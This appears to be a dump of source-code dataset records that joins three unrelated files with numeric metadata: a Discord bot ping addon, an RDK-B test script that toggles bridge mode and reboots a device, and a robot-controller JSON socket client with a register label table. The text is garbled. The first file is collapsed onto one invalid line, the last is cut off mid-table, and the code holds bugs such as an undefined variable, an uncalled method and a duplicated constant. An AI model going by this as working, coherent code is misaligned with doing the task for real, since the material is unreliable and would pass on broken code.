4471c4d2f20cb7890c2ae818d87d852d1a442471
[ "MIT" ]
null
null
null
addons/basic.py
dico-api/dicobot
4471c4d2f20cb7890c2ae818d87d852d1a442471
[ "MIT" ]
null
null
null
import dico_command class Basic(dico_command.Addon): @dico_command.command("ping") async def ping(self, ctx: dico_command.Context): await ctx.reply(f"Pong! {round(self.bot.ping*1000)}ms") def load(bot: dico_command.Bot): bot.load_addons(Basic) def unload(bot: dico_command.Bot): bot.unload_addons(Basic)
20.875
63
0.712575
51
334
4.509804
0.45098
0.286957
0.121739
0.147826
0.173913
0
0
0
0
0
0
0.014134
0.152695
334
15
64
22.266667
0.798587
0
0
0
0
0
0.116766
0.086826
0
0
0
0
0
1
0.222222
false
0
0.111111
0
0.444444
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
2
52e00f970cfb2937e6c8fd35dd1fbfe0b22df7e8
8,940
py
Python
testscripts/RDKB/component/sysutil/TS_SANITY_CheckLanMode_AfterReboot.py
cablelabs/tools-tdkb
1fd5af0f6b23ce6614a4cfcbbaec4dde430fad69
[ "Apache-2.0" ]
null
null
null
testscripts/RDKB/component/sysutil/TS_SANITY_CheckLanMode_AfterReboot.py
cablelabs/tools-tdkb
1fd5af0f6b23ce6614a4cfcbbaec4dde430fad69
[ "Apache-2.0" ]
null
null
null
testscripts/RDKB/component/sysutil/TS_SANITY_CheckLanMode_AfterReboot.py
cablelabs/tools-tdkb
1fd5af0f6b23ce6614a4cfcbbaec4dde430fad69
[ "Apache-2.0" ]
null
null
null
########################################################################## # If not stated otherwise in this file or this component's Licenses.txt # file the following copyright and licenses apply: # # Copyright 2018 RDK Management # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. ########################################################################## ''' <?xml version="1.0" encoding="UTF-8"?> <xml> <id/> <version>4</version> <name>TS_SANITY_CheckLanMode_AfterReboot</name> <primitive_test_id/> <primitive_test_name>ExecuteCmd</primitive_test_name> <primitive_test_version>1</primitive_test_version> <status>FREE</status> <synopsis>Set bridge mode and reboot the device and check whether bridge mode is persistent after reboot.</synopsis> <groups_id/> <execution_time>10</execution_time> <long_duration>false</long_duration> <advanced_script>false</advanced_script> <remarks/> <skip>false</skip> <box_types> <box_type>Broadband</box_type> <box_type>Emulator</box_type> <box_type>RPI</box_type> </box_types> <rdk_versions> <rdk_version>RDKB</rdk_version> </rdk_versions> <test_cases> <test_case_id>TC_SYSUTIL_10</test_case_id> <test_objective>Set bridge mode and reboot the device and check whether bridge mode is persistent after reboot.</test_objective> <test_type>Positive</test_type> <test_setup>Emulator,Broadband,RPI</test_setup> <pre_requisite>TDK Agent should be in running state or invoke it through StartTdk.sh script</pre_requisite> <api_or_interface_used>None</api_or_interface_used> <input_parameters>"Device.X_CISCO_COM_DeviceControl.LanManagementEntry.1.LanMode"</input_parameters> <automation_approch>1. Get the current lanMode 2. Set the lanmode to bridge-static 3. Reboot the device 4. Get the current lanmode again 5. Revert the lanmode to original value</automation_approch> <except_output>The lanmode should persists</except_output> <priority>High</priority> <test_stub_interface>sysutil</test_stub_interface> <test_script>TS_SANITY_CheckLanMode_AfterReboot</test_script> <skipped>No</skipped> <release_version>M59</release_version> <remarks/> </test_cases> <script_tags> <script_tag>BASIC</script_tag> </script_tags> </xml> ''' # use tdklib library,which provides a wrapper for tdk testcase script import tdklib; from time import sleep; #Test component to be tested obj = tdklib.TDKScriptingLibrary("sysutil","1"); pamObj = tdklib.TDKScriptingLibrary("pam","RDKB"); #IP and Port of box, No need to change, #This will be replaced with correspoing Box Ip and port while executing script ip = <ipaddress> port = <port> obj.configureTestCase(ip,port,'TS_SANITY_CheckLanMode_AfterReboot'); pamObj.configureTestCase(ip,port,'TS_SANITY_CheckLanMode_AfterReboot'); #Get the result of connection with test component and STB loadmodulestatus1 =obj.getLoadModuleResult(); loadmodulestatus2 =pamObj.getLoadModuleResult(); if "SUCCESS" in loadmodulestatus1.upper() and loadmodulestatus2.upper: #Set the result status of execution obj.setLoadModuleStatus("SUCCESS"); pamObj.setLoadModuleStatus("SUCCESS"); #Get the current Lan mode tdkTestObj = pamObj.createTestStep('pam_GetParameterValues'); tdkTestObj.addParameter("ParamName","Device.X_CISCO_COM_DeviceControl.LanManagementEntry.1.LanMode") expectedresult="SUCCESS"; #Execute the test case in STB tdkTestObj.executeTestCase(expectedresult); actualresult = tdkTestObj.getResult(); lanMode = tdkTestObj.getResultDetails().strip(); if expectedresult in actualresult and lanMode: tdkTestObj.setResultStatus("SUCCESS"); #Set the result status of execution print "TEST STEP 2: Get the current lanMode" print "EXPECTED RESULT 2: Should get the current lanMode" print "ACTUAL RESULT 2: Current lanMode is %s" %lanMode; print "[TEST EXECUTION RESULT] : SUCCESS"; #Set the lanMode to bridge-static tdkTestObj = pamObj.createTestStep('pam_SetParameterValues'); tdkTestObj.addParameter("ParamName","Device.X_CISCO_COM_DeviceControl.LanManagementEntry.1.LanMode") tdkTestObj.addParameter("ParamValue","bridge-static"); tdkTestObj.addParameter("Type","string"); expectedresult="SUCCESS"; #Execute the test case in STB tdkTestObj.executeTestCase(expectedresult); actualresult = tdkTestObj.getResult(); details = tdkTestObj.getResultDetails(); if expectedresult in actualresult: #Set the result status of execution tdkTestObj.setResultStatus("SUCCESS"); print "TEST STEP 1: Set the lanMode to bridge-static"; print "EXPECTED RESULT 1: Should set the lanMode to bridge-static"; print "ACTUAL RESULT 1: %s" %details; print "[TEST EXECUTION RESULT] : SUCCESS" ; #rebooting the device obj.initiateReboot(); sleep(300); #Check if the lanMode persists tdkTestObj = pamObj.createTestStep('pam_GetParameterValues'); tdkTestObj.addParameter("ParamName","Device.X_CISCO_COM_DeviceControl.LanManagementEntry.1.LanMode") expectedresult="SUCCESS"; #Execute the test case in STB tdkTestObj.executeTestCase(expectedresult); actualresult = tdkTestObj.getResult(); lanMode1 = tdkTestObj.getResultDetails().strip(); if expectedresult in actualresult and lanMode1 == "bridge-static": tdkTestObj.setResultStatus("SUCCESS"); #Set the result status of execution print "TEST STEP 2: Get the current lanMode" print "EXPECTED RESULT 2: Should get the current lanMode as bridge-static" print "ACTUAL RESULT 2: Current lanMode is %s" %lanMode1; print "[TEST EXECUTION RESULT] : SUCCESS"; else: tdkTestObj.setResultStatus("FAILURE"); #Set the result status of execution print "TEST STEP 2: Get the current lanMode" print "EXPECTED RESULT 2: Should get the current lanMode as bridge-static" print "ACTUAL RESULT 2: Current lanMode is %s" %lanMode1; print "[TEST EXECUTION RESULT] : FAILURE"; #Revert the value of lanMode tdkTestObj = pamObj.createTestStep('pam_SetParameterValues'); tdkTestObj.addParameter("ParamName","Device.X_CISCO_COM_DeviceControl.LanManagementEntry.1.LanMode") tdkTestObj.addParameter("ParamValue",lanMode); tdkTestObj.addParameter("Type","string"); expectedresult="SUCCESS"; #Execute the test case in STB tdkTestObj.executeTestCase(expectedresult); actualresult = tdkTestObj.getResult(); details = tdkTestObj.getResultDetails(); if expectedresult in actualresult: #Set the result status of execution tdkTestObj.setResultStatus("SUCCESS"); print "TEST STEP 1:Revert the value of lanMode"; print "EXPECTED RESULT 1: Should revert the lanMode"; print "ACTUAL RESULT 1: %s" %details; print "[TEST EXECUTION RESULT] : SUCCESS" ; else: #Set the result status of execution tdkTestObj.setResultStatus("FAILURE"); print "TEST STEP 1:Revert the value of lanMode"; print "EXPECTED RESULT 1: Should revert the lanMode"; print "ACTUAL RESULT 1: %s" %details; print "[TEST EXECUTION RESULT] : FAILURE" ; else: #Set the result status of execution tdkTestObj.setResultStatus("FAILURE"); print "TEST STEP 1: Set the lanMode to bridge-static"; print "EXPECTED RESULT 1: Should set the lanMode to bridge-static"; print "ACTUAL RESULT 1: %s" %details; print "[TEST EXECUTION RESULT] : FAILURE" ; else: tdkTestObj.setResultStatus("FAILURE"); #Set the result status of execution print "TEST STEP 2: Get the current lanMode" print "EXPECTED RESULT 2: Should get the current lanMode" print "ACTUAL RESULT 2: Current lanMode is %s" %lanMode; print "[TEST EXECUTION RESULT] : FAILURE"; obj.unloadModule("sysutil"); pamObj.unloadModule("pam"); else: print "Failed to load sysutil module"; sysObj.setLoadModuleStatus("FAILURE"); print "Module loading failed";
42.980769
132
0.687248
1,034
8,940
5.845261
0.232108
0.023825
0.02366
0.033091
0.583719
0.576439
0.561549
0.54368
0.513567
0.513567
0
0.009161
0.206376
8,940
207
133
43.188406
0.842706
0.165884
0
0.731959
0
0
0.360456
0.074822
0
0
0
0
0
0
null
null
0
0.020619
null
null
0.350515
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
52e223443238aa78f530247b57393b36f3ae7fbd
37,563
py
Python
fsrobo_r_driver/fsrobo_r_controller/info_catch_client.py
FUJISOFT-Robotics/fsrobo_r
89f113f81f9119d1667b5afa4e718e2814c8dfd8
[ "BSD-3-Clause" ]
4
2019-10-15T14:32:07.000Z
2021-02-05T01:01:02.000Z
fsrobo_r_driver/fsrobo_r_controller/info_catch_client.py
FUJISOFT-Robotics/fsrobo_r
89f113f81f9119d1667b5afa4e718e2814c8dfd8
[ "BSD-3-Clause" ]
1
2019-10-24T08:42:21.000Z
2019-10-31T06:05:00.000Z
fsrobo_r_driver/fsrobo_r_controller/info_catch_client.py
FUJISOFT-Robotics/fsrobo_r
89f113f81f9119d1667b5afa4e718e2814c8dfd8
[ "BSD-3-Clause" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- # FSRobo-R Package BSDL # --------- # Copyright (C) 2019 FUJISOFT. All rights reserved. # # Redistribution and use in source and binary forms, with or without modification, # are permitted provided that the following conditions are met: # 1. Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation and/or # other materials provided with the distribution. # 3. Neither the name of the copyright holder nor the names of its contributors # may be used to endorse or promote products derived from this software without # specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. # IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, # INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND # ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, # OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # --------- import time import socket import json from struct import pack, unpack class JSONSocket(object): BUFFER_SIZE = 4096 def __init__(self, ip_addr, port): self._ip_addr = ip_addr self._port = port self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self._decoder = json.JSONDecoder(strict=False) self._recv_buffer = '' def connect(self): self._sock.connect((self._ip_addr, self._port)) def close(self): self._sock.close() def send(self, data): self._sock.sendall(json.dumps(data)) def recv(self): need_recv = len(self._recv_buffer) == 0 #print('len: {}'.format(len(self._recv_buffer))) while True: try: if need_recv: recv_data = self._sock.recv(self.BUFFER_SIZE) if (len(recv_data) == 0): raise socket.error('recv error') self._recv_buffer += recv_data need_recv = False else: # XXX leading null char causes ValueError. Should fix server? self._recv_buffer = self._recv_buffer.strip('\0') data, index = self._decoder.raw_decode(self._recv_buffer) self._recv_buffer = self._recv_buffer[index:] #print('OK!:{}:{}:'.format(self._recv_buffer, self._recv_buffer.encode('hex'))) return data except ValueError as e: #print(e) #print(self._recv_buffer) #print(self._recv_buffer.encode('hex')) need_recv = True class InfoCatchClient(object): ControlPort = 5000 def __init__(self, ip_addr='192.168.0.23'): self._ip_addr = ip_addr self._data_port = None self._data_sock = None def send_control(self, msg): sock = JSONSocket(self._ip_addr, self.ControlPort) sock.connect() sock.send(msg) data = sock.recv() sock.close() return data def recv(self): return self._data_sock.recv() def connect(self, filters, sampling_time=10): control_data = {'ST00': 'ON', 'ST01': sampling_time, 'ST02': sampling_time} for filter in filters: control_data[filter] = 'ON' res = self.send_control(control_data) if (res['RT00'] != 'OK'): return False self._data_port = res['RT01'] self._data_sock = JSONSocket(self._ip_addr, self._data_port) retry_count = 0 while True: try: self._data_sock.connect() break except socket.error as e: retry_count += 1 if retry_count > 10: raise socket.error(e) time.sleep(0.5) def close(self): if self._data_port is not None: control_data = {'ST00': 'OFF', 'RT01': self._data_port} res = self.send_control(control_data) if res['RT00'] != 'OK': print('warning: send_control returns {}'.format(res)) self._data_port = None if self._data_sock is not None: self._data_sock.close() class Label(object): I000 = "i000" # 0xFFFF Date/Time # Header block H003 = "h003" # 0x0008 update_counter H004 = "h004" # 0x000C now_updating # Memory I/O M000 = "m000" # 0x0100 dio_io M001 = "m001" # 0x0104 dio_io M100 = "m100" # 0x0300 mio_si0 M102 = "m102" # 0x0308 mio_si2 M107 = "m107" # 0x031C mio_sl3 M200 = "m200" # 0x0320 dio_io[0] M201 = "m201" # 0x0324 dio_io[1] M202 = "m202" # 0x0328 dio_io[2] M203 = "m203" # 0x032C dio_io[3] M204 = "m204" # 0x0330 dio_io[4] M205 = "m205" # 0x0334 dio_io[5] M206 = "m206" # 0x0338 dio_io[6] M207 = "m207" # 0x033C dio_io[7] M208 = "m208" # 0x0340 dio_io[8] M209 = "m209" # 0x0344 dio_io[9] M210 = "m210" # 0x0348 dio_io[10] M211 = "m211" # 0x034C dio_io[11] M212 = "m212" # 0x0350 dio_io[12] M213 = "m213" # 0x0354 dio_io[13] M214 = "m214" # 0x0358 dio_io[14] M215 = "m215" # 0x035C dio_io[15] M216 = "m216" # 0x0360 dio_io[16] M217 = "m217" # 0x0364 dio_io[17] M218 = "m218" # 0x0368 dio_io[18] M219 = "m219" # 0x036C dio_io[19] M220 = "m220" # 0x0370 dio_io[20] M221 = "m221" # 0x0374 dio_io[21] M222 = "m222" # 0x0378 dio_io[22] M223 = "m223" # 0x037C dio_io[23] M224 = "m224" # 0x0380 dio_io[24] M225 = "m225" # 0x0384 dio_io[25] M226 = "m226" # 0x0388 dio_io[26] M227 = "m227" # 0x038C dio_io[27] M228 = "m228" # 0x0390 dio_io[28] M229 = "m229" # 0x0394 dio_io[29] M230 = "m230" # 0x0398 dio_io[30] M231 = "m231" # 0x039C dio_io[31] M232 = "m232" # 0x03A0 dio_io[32] M233 = "m233" # 0x03A4 dio_io[33] M234 = "m234" # 0x03A8 dio_io[34] M235 = "m235" # 0x03AC dio_io[35] M236 = "m236" # 0x03B0 dio_io[36] M237 = "m237" # 0x03B4 dio_io[37] M238 = "m238" # 0x03B8 dio_io[38] M239 = "m239" # 0x03BC dio_io[39] M240 = "m240" # 0x03C0 dio_io[40] M241 = "m241" # 0x03C4 dio_io[41] M242 = "m242" # 0x03C8 dio_io[42] M243 = "m243" # 0x03CC dio_io[43] M244 = "m244" # 0x03D0 dio_io[44] M245 = "m245" # 0x03D4 dio_io[45] M246 = "m246" # 0x03D8 dio_io[46] M247 = "m247" # 0x03DC dio_io[47] M248 = "m248" # 0x03E0 dio_io[48] M249 = "m249" # 0x03E4 dio_io[49] M250 = "m250" # 0x03E8 dio_io[50] M251 = "m251" # 0x03EC dio_io[51] M252 = "m252" # 0x03F0 dio_io[52] M253 = "m253" # 0x03F4 dio_io[53] M254 = "m254" # 0x03F8 dio_io[54] M255 = "m255" # 0x03FC dio_io[55] M256 = "m256" # 0x0400 dio_io[56] M257 = "m257" # 0x0404 dio_io[57] M258 = "m258" # 0x0408 dio_io[58] M259 = "m259" # 0x040C dio_io[59] M260 = "m260" # 0x0410 dio_io[60] M261 = "m261" # 0x0414 dio_io[61] M262 = "m262" # 0x0418 dio_io[62] M263 = "m263" # 0x041C dio_io[63] M264 = "m264" # 0x0420 dio_io[64] M265 = "m265" # 0x0424 dio_io[65] M266 = "m266" # 0x0428 dio_io[66] M267 = "m267" # 0x042C dio_io[67] M268 = "m268" # 0x0430 dio_io[68] M269 = "m269" # 0x0434 dio_io[69] M270 = "m270" # 0x0438 dio_io[70] M271 = "m271" # 0x043C dio_io[71] M272 = "m272" # 0x0440 dio_io[72] M273 = "m273" # 0x0444 dio_io[73] M274 = "m274" # 0x0448 dio_io[74] M275 = "m275" # 0x044C dio_io[75] M276 = "m276" # 0x0450 dio_io[76] M277 = "m277" # 0x0454 dio_io[77] M278 = "m278" # 0x0458 dio_io[78] M279 = "m279" # 0x045C dio_io[79] M280 = "m280" # 0x0460 dio_io[80] M281 = "m281" # 0x0464 dio_io[81] M282 = "m282" # 0x0468 dio_io[82] M283 = "m283" # 0x046C dio_io[83] M284 = "m284" # 0x0470 dio_io[84] M285 = "m285" # 0x0474 dio_io[85] M286 = "m286" # 0x0478 dio_io[86] M287 = "m287" # 0x047C dio_io[87] M288 = "m288" # 0x0480 dio_io[88] M289 = "m289" # 0x0484 dio_io[89] M290 = "m290" # 0x0488 dio_io[90] M291 = "m291" # 0x048C dio_io[91] M292 = "m292" # 0x0490 dio_io[92] M293 = "m293" # 0x0494 dio_io[93] M294 = "m294" # 0x0498 dio_io[94] M295 = "m295" # 0x049C dio_io[95] M296 = "m296" # 0x04A0 dio_io[96] M297 = "m297" # 0x04A4 dio_io[97] M298 = "m298" # 0x04A8 dio_io[98] M299 = "m299" # 0x04AC dio_io[99] M300 = "m300" # 0x04B0 dio_io[100] M301 = "m301" # 0x04B4 dio_io[101] M302 = "m302" # 0x04B8 dio_io[102] M303 = "m303" # 0x04BC dio_io[103] M304 = "m304" # 0x04C0 dio_io[104] M305 = "m305" # 0x04C4 dio_io[105] M306 = "m306" # 0x04C8 dio_io[106] M307 = "m307" # 0x04CC dio_io[107] M308 = "m308" # 0x04D0 dio_io[108] M309 = "m309" # 0x04D4 dio_io[109] M310 = "m310" # 0x04D8 dio_io[110] M311 = "m311" # 0x04DC dio_io[111] M312 = "m312" # 0x04E0 dio_io[112] M313 = "m313" # 0x04E4 dio_io[113] M314 = "m314" # 0x04E8 dio_io[114] M315 = "m315" # 0x04EC dio_io[115] M316 = "m316" # 0x04F0 dio_io[116] M317 = "m317" # 0x04F4 dio_io[117] M318 = "m318" # 0x04F8 dio_io[118] M319 = "m319" # 0x04FC dio_io[119] M320 = "m320" # 0x0500 dio_io[120] # Ethercat joiont information S000 = "s000" # 0x0500 cia402ctrl[0-5] S001 = "s001" # 0x0502 ctrl[0-5] S002 = "s002" # 0x0504 cia402targetpls[0-5] S003 = "s003" # 0x0508 notification[0-5] S004 = "s004" # 0x050C cia402sts[0-5] S005 = "s005" # 0x050E sts[0-5] S006 = "s006" # 0x0510 rtn[0-5] S007 = "s007" # 0x0512 cia402err[0-5] S008 = "s008" # 0x0514 alarm[0-5] S009 = "s009" # 0x0518 targetplsfb[0-5] S010 = "s010" # 0x051C cia402actualpls[0-5] S011 = "s011" # 0x0520 cia402followingerr[0-5] S012 = "s012" # 0x0524 observer_output_value[0-5] S013 = "s013" # 0x0528 torque[0-5] S014 = "s014" # 0x052A thermal[0-5] S015 = "s015" # 0x052C disturbance[0-5] S016 = "s016" # 0x052E gainrate[0-5] S017 = "s017" # 0x0530 polerate[0-5] S018 = "s018" # 0x0532 filtered_torque[0-5] S019 = "s019" # 0x0534 filtered_velocity[0-5] S020 = "s020" # 0x0536 filtered_D[0-5] S020 = "s020" # 0x0538 filtered_Q[0-5] # Force torque sensor information F000 = "f000" # 0x0700 sts F001 = "f001" # 0x0701 gain_sts F100 = "f100" # 0x0710 zero_point[0-7] F200 = "f200" # 0x0720 raw_value[0-7] F300 = "f300" # 0x0730 gain[0-7] # System management block information Y000 = "y000" # 0x0800 robtask_name[0-31] Y001 = "y001" # 0x0820 running_name[0-31] Y002 = "y002" # 0x0840 running_pid Y003 = "y003" # 0x0844 assign_port[0] Y004 = "y004" # 0x0846 assign_port[1] Y005 = "y005" # 0x0848 assign_port[2] Y006 = "y006" # 0x084A assign_port[3] Y007 = "y007" # 0x084C assign_port[4] Y008 = "y008" # 0x085E assign_port[5] Y009 = "y009" # 0x0850 assign_port[6] Y010 = "y010" # 0x0852 assign_port[7] Y011 = "y011" # 0x0854 assign_port[8] Y012 = "y012" # 0x0856 assign_port[9] Y013 = "y013" # 0x0858 assign_port[10] Y014 = "y014" # 0x085A assign_port[11] # User block information U000 = "u000" # 0x1800 intval[0] U001 = "u001" # 0x1804 intval[1] U002 = "u002" # 0x1808 intval[2] U003 = "u003" # 0x180C intval[3] U004 = "u004" # 0x1810 intval[4] U005 = "u005" # 0x1814 intval[5] U006 = "u006" # 0x1818 intval[6] U007 = "u007" # 0x181C intval[7] U008 = "u008" # 0x1820 intval[8] U009 = "u009" # 0x1824 intval[9] U010 = "u010" # 0x1828 intval[10] U011 = "u011" # 0x182C intval[11] U012 = "u012" # 0x1830 intval[12] U013 = "u013" # 0x1834 intval[13] U014 = "u014" # 0x1838 intval[14] U015 = "u015" # 0x183C intval[15] U016 = "u016" # 0x1840 intval[16] U017 = "u017" # 0x1844 intval[17] U018 = "u018" # 0x1848 intval[18] U019 = "u019" # 0x184C intval[19] U020 = "u020" # 0x1850 intval[20] U021 = "u021" # 0x1854 intval[21] U022 = "u022" # 0x1858 intval[22] U023 = "u023" # 0x185C intval[23] U024 = "u024" # 0x1860 intval[24] U025 = "u025" # 0x1864 intval[25] U026 = "u026" # 0x1868 intval[26] U027 = "u027" # 0x186C intval[27] U028 = "u028" # 0x1870 intval[28] U029 = "u029" # 0x1874 intval[29] U030 = "u030" # 0x1878 intval[30] U031 = "u031" # 0x187C intval[31] U032 = "u032" # 0x1880 intval[32] U033 = "u033" # 0x1884 intval[33] U034 = "u034" # 0x1888 intval[34] U035 = "u035" # 0x188C intval[35] U036 = "u036" # 0x1890 intval[36] U037 = "u037" # 0x1894 intval[37] U038 = "u038" # 0x1898 intval[38] U039 = "u039" # 0x189C intval[39] U040 = "u040" # 0x18A0 intval[40] U041 = "u041" # 0x18A4 intval[41] U042 = "u042" # 0x18A8 intval[42] U043 = "u043" # 0x18AC intval[43] U044 = "u044" # 0x18B0 intval[44] U045 = "u045" # 0x18B4 intval[45] U046 = "u046" # 0x18B8 intval[46] U047 = "u047" # 0x18BC intval[47] U048 = "u048" # 0x18C0 intval[48] U049 = "u049" # 0x18C4 intval[49] U050 = "u050" # 0x18C8 intval[50] U051 = "u051" # 0x18CC intval[51] U052 = "u052" # 0x18D0 intval[52] U053 = "u053" # 0x18D4 intval[53] U054 = "u054" # 0x18D8 intval[54] U055 = "u055" # 0x18DC intval[55] U056 = "u056" # 0x18E0 intval[56] U057 = "u057" # 0x18E4 intval[57] U058 = "u058" # 0x18E8 intval[58] U059 = "u059" # 0x18EC intval[59] U060 = "u060" # 0x18F0 intval[60] U061 = "u061" # 0x18F4 intval[61] U062 = "u062" # 0x18F8 intval[62] U063 = "u063" # 0x18FC intval[63] U064 = "u064" # 0x1900 intval[64] U065 = "u065" # 0x1904 intval[65] U066 = "u066" # 0x1908 intval[66] U067 = "u067" # 0x190C intval[67] U068 = "u068" # 0x1910 intval[68] U069 = "u069" # 0x1914 intval[69] U070 = "u070" # 0x1918 intval[70] U071 = "u071" # 0x191C intval[71] U072 = "u072" # 0x1920 intval[72] U073 = "u073" # 0x1924 intval[73] U074 = "u074" # 0x1928 intval[74] U075 = "u075" # 0x192C intval[75] U076 = "u076" # 0x1930 intval[76] U077 = "u077" # 0x1934 intval[77] U078 = "u078" # 0x1938 intval[78] U079 = "u079" # 0x193C intval[79] U080 = "u080" # 0x1940 intval[80] U081 = "u081" # 0x1944 intval[81] U082 = "u082" # 0x1948 intval[82] U083 = "u083" # 0x194C intval[83] U084 = "u084" # 0x1950 intval[84] U085 = "u085" # 0x1954 intval[85] U086 = "u086" # 0x1958 intval[86] U087 = "u087" # 0x195C intval[87] U088 = "u088" # 0x1960 intval[88] U089 = "u089" # 0x1964 intval[89] U090 = "u090" # 0x1968 intval[90] U091 = "u091" # 0x196C intval[91] U092 = "u092" # 0x1970 intval[92] U093 = "u093" # 0x1974 intval[93] U094 = "u094" # 0x1978 intval[94] U095 = "u095" # 0x197C intval[95] U096 = "u096" # 0x1980 intval[96] U097 = "u097" # 0x1984 intval[97] U098 = "u098" # 0x1988 intval[98] U099 = "u099" # 0x198C intval[99] U100 = "u100" # 0x1990 intval[100] U101 = "u101" # 0x1994 intval[101] U102 = "u102" # 0x1998 intval[102] U103 = "u103" # 0x199C intval[103] U104 = "u104" # 0x19A0 intval[104] U105 = "u105" # 0x19A4 intval[105] U106 = "u106" # 0x19A8 intval[106] U107 = "u107" # 0x19AC intval[107] U108 = "u108" # 0x19B0 intval[108] U109 = "u109" # 0x19B4 intval[109] U110 = "u110" # 0x19B8 intval[110] U111 = "u111" # 0x19BC intval[111] U112 = "u112" # 0x19C0 intval[112] U113 = "u113" # 0x19C4 intval[113] U114 = "u114" # 0x19C8 intval[114] U115 = "u115" # 0x19CC intval[115] U116 = "u116" # 0x19D0 intval[116] U117 = "u117" # 0x19D4 intval[117] U118 = "u118" # 0x19D8 intval[118] U119 = "u119" # 0x19DC intval[119] U120 = "u120" # 0x19E0 intval[120] U121 = "u121" # 0x19E4 intval[121] U122 = "u122" # 0x19E8 intval[122] U123 = "u123" # 0x19EC intval[123] U124 = "u124" # 0x19F0 intval[124] U125 = "u125" # 0x19F4 intval[125] U126 = "u126" # 0x19F8 intval[126] U127 = "u127" # 0x19FC intval[127] U128 = "u128" # 0x1A00 intval[128] U129 = "u129" # 0x1A04 intval[129] U130 = "u130" # 0x1A08 intval[130] U131 = "u131" # 0x1A0C intval[131] U132 = "u132" # 0x1A10 intval[132] U133 = "u133" # 0x1A14 intval[133] U134 = "u134" # 0x1A18 intval[134] U135 = "u135" # 0x1A1C intval[135] U136 = "u136" # 0x1A20 intval[136] U137 = "u137" # 0x1A24 intval[137] U138 = "u138" # 0x1A28 intval[138] U139 = "u139" # 0x1A2C intval[139] U140 = "u140" # 0x1A30 intval[140] U141 = "u141" # 0x1A34 intval[141] U142 = "u142" # 0x1A38 intval[142] U143 = "u143" # 0x1A3C intval[143] U144 = "u144" # 0x1A40 intval[144] U145 = "u145" # 0x1A44 intval[145] U146 = "u146" # 0x1A48 intval[146] U147 = "u147" # 0x1A4C intval[147] U148 = "u148" # 0x1A50 intval[148] U149 = "u149" # 0x1A54 intval[149] U150 = "u150" # 0x1A58 intval[150] U151 = "u151" # 0x1A5C intval[151] U152 = "u152" # 0x1A60 intval[152] U153 = "u153" # 0x1A64 intval[153] U154 = "u154" # 0x1A68 intval[154] U155 = "u155" # 0x1A6C intval[155] U156 = "u156" # 0x1A70 intval[156] U157 = "u157" # 0x1A74 intval[157] U158 = "u158" # 0x1A78 intval[158] U159 = "u159" # 0x1A7C intval[159] U160 = "u160" # 0x1A80 intval[160] U161 = "u161" # 0x1A84 intval[161] U162 = "u162" # 0x1A88 intval[162] U163 = "u163" # 0x1A8C intval[163] U164 = "u164" # 0x1A90 intval[164] U165 = "u165" # 0x1A94 intval[165] U166 = "u166" # 0x1A98 intval[166] U167 = "u167" # 0x1A9C intval[167] U168 = "u168" # 0x1AA0 intval[168] U169 = "u169" # 0x1AA4 intval[169] U170 = "u170" # 0x1AA8 intval[170] U171 = "u171" # 0x1AAC intval[171] U172 = "u172" # 0x1AB0 intval[172] U173 = "u173" # 0x1AB4 intval[173] U174 = "u174" # 0x1AB8 intval[174] U175 = "u175" # 0x1ABC intval[175] U176 = "u176" # 0x1AC0 intval[176] U177 = "u177" # 0x1AC4 intval[177] U178 = "u178" # 0x1AC8 intval[178] U179 = "u179" # 0x1ACC intval[179] U180 = "u180" # 0x1AD0 intval[180] U181 = "u181" # 0x1AD4 intval[181] U182 = "u182" # 0x1AD8 intval[182] U183 = "u183" # 0x1ADC intval[183] U184 = "u184" # 0x1AE0 intval[184] U185 = "u185" # 0x1AE4 intval[185] U186 = "u186" # 0x1AE8 intval[186] U187 = "u187" # 0x1AEC intval[187] U188 = "u188" # 0x1AF0 intval[188] U189 = "u189" # 0x1AF4 intval[189] U190 = "u190" # 0x1AF8 intval[190] U191 = "u191" # 0x1AFC intval[191] U192 = "u192" # 0x1B00 intval[192] U193 = "u193" # 0x1B04 intval[193] U194 = "u194" # 0x1B08 intval[194] U195 = "u195" # 0x1B0C intval[195] U196 = "u196" # 0x1B10 intval[196] U197 = "u197" # 0x1B14 intval[197] U198 = "u198" # 0x1B18 intval[198] U199 = "u199" # 0x1B1C intval[199] U200 = "u200" # 0x1B20 intval[200] U201 = "u201" # 0x1B24 intval[201] U202 = "u202" # 0x1B28 intval[202] U203 = "u203" # 0x1B2C intval[203] U204 = "u204" # 0x1B30 intval[204] U205 = "u205" # 0x1B34 intval[205] U206 = "u206" # 0x1B38 intval[206] U207 = "u207" # 0x1B3C intval[207] U208 = "u208" # 0x1B40 intval[208] U209 = "u209" # 0x1B44 intval[209] U210 = "u210" # 0x1B48 intval[210] U211 = "u211" # 0x1B4C intval[211] U212 